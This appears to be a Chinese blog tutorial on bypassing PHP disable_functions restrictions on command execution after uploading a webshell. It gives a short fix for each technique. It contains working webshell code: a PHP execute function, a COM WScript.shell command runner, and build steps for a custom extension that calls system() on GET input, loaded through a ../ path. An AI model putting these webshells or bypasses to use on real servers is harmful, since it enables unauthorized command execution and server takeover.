[投稿]Webshell下命令執行限制及繞過方法

0x00 前言

上傳webshell後,執行命令時或許沒法執行了,這時我們該分析下原理並想出繞過方式,防守方也必須根據繞過方式想想更強的防禦.

0x01 php webshell執行命令原理

php webshell(以下簡稱webshell)下是怎麼執行系統命令的?我們找一個webshell分析下

搜索關鍵字定位到以下代碼

function execute($cfe) {

       $res = '';

       if ($cfe) {

              if(function_exists('system')) {

                     @ob_start();

                     @system($cfe);

                     $res = @ob_get_contents();

                     @ob_end_clean();

              } elseif(function_exists('passthru')) {

                     @ob_start();

                     @passthru($cfe);

                     $res = @ob_get_contents();

                     @ob_end_clean();

              } elseif(function_exists('shell_exec')) {

                     $res = @shell_exec($cfe);

              } elseif(function_exists('exec')) {

                     @exec($cfe,$res);

                     $res = join("\n",$res);

              } elseif(@is_resource($f = @popen($cfe,"r"))) {

                     $res = '';

                     while(!@feof($f)) {

                            $res .= @fread($f,1024);

                     }

                     @pclose($f);

              }

       }

       return $res;

}

即按順利調用system(),passthru(),shell_exec,exec,popen函數 成功調用就不再往下調用

0x02禁止webshell執行命令原理

Php配置文件裏面有個disable_functions = 配置,這個禁止某些php函數,

服務器便是用這個來禁止php的執行命令函數,

例如

disable_functions =system,passthru,shell_exec,exec,popen

便禁止了用這些函數來執行系統命令

0x03黑名單繞過

知道了原理後,我們便能想出很多繞過的方式

首先是黑名單繞過

我們看看php下能夠執行系統命令的函數有哪些

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反單引號</strong>)

那麼 便可以看看php.ini中的disable_function漏過了哪些函數。

然後 hack it.

曾經在給某大企業做滲透測試時,未禁用assert 成功執行命令

烏雲上的案例 未禁用proc_open而引起

http://www.wooyun.org/bugs/wooyun-2013-015991

解決方案:關注並收集php系統命令執行函數,補齊disable_function項。

0x04 系統組件繞過

這個方法適用於windows

看代碼

&lt;?php

$command=$_POST[a];

$wsh = new COM('WScript.shell');   // 生成一個COM對象

$exec = $wsh-&gt;exec('cmd.exe /c '.$command); //調用對象方法來執行命令

$stdout = $exec-&gt;StdOut();

$stroutput = $stdout-&gt;ReadAll();

echo $stroutput

?&gt;

Shell.Application也可以實現同樣的效果

徹底的解決方案是 直接刪除System32目錄下wshom.ocx文件

0x05拓展庫繞過

Linux下可通過編譯拓展庫進行繞過

網絡上的方法及官方的方法 都提示錯誤,

經過研究 給出一種正確編譯PHP拓展庫的方法

前方高能。

首先得知PHP服務器php版本,下載個相同或相近版本的php源碼包

tar zxvf php-5.3.10.tar.gz  //解壓縮

cd php-5.3.10/ext      

./ext_skel --extname=dl  //生成名爲dl的拓展庫

cd dl

vi config.m4

將這三行

PHP_ARG_WITH(dl, for dl support,

Make sure that the comment is aligned:

[  --with-dl             Include dl support])

前面的dnl去掉並保存

whereis phpize          //找出phpize路徑

/usr/local/bin/phpize     // 運行phpize

vi dl.c

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &amp;arg, &amp;arg_len) == FAILURE) {

                return;

        }

這一行下添加

system(arg);
whereis php-config  //找出php-config的路徑

./configure --whith-php-config=php-config路徑

make

make install

[root@TENCENT64 ~/php-5.3.10/ext/dl]# make install

Installing shared extensions:     /usr/local/lib/php/extensions/no-debug-non-zts-20121212/

成功生成了

查看php.ini的

extension_dir 項

/usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so

拷貝到extension_dir目錄下

若extension_dir目錄無寫權限則可寫入任意目錄用…/…/來繞過並調用。

利用代碼:

&lt;?php

dl("dl.so");  //dl.so在extension_dir目錄,如不在則用../../來實現調用

confirm_dl_compiled("$_GET[a]&gt;1.txt");

?&gt;
發佈了405 篇原創文章 · 獲贊 159 · 訪問量 15萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章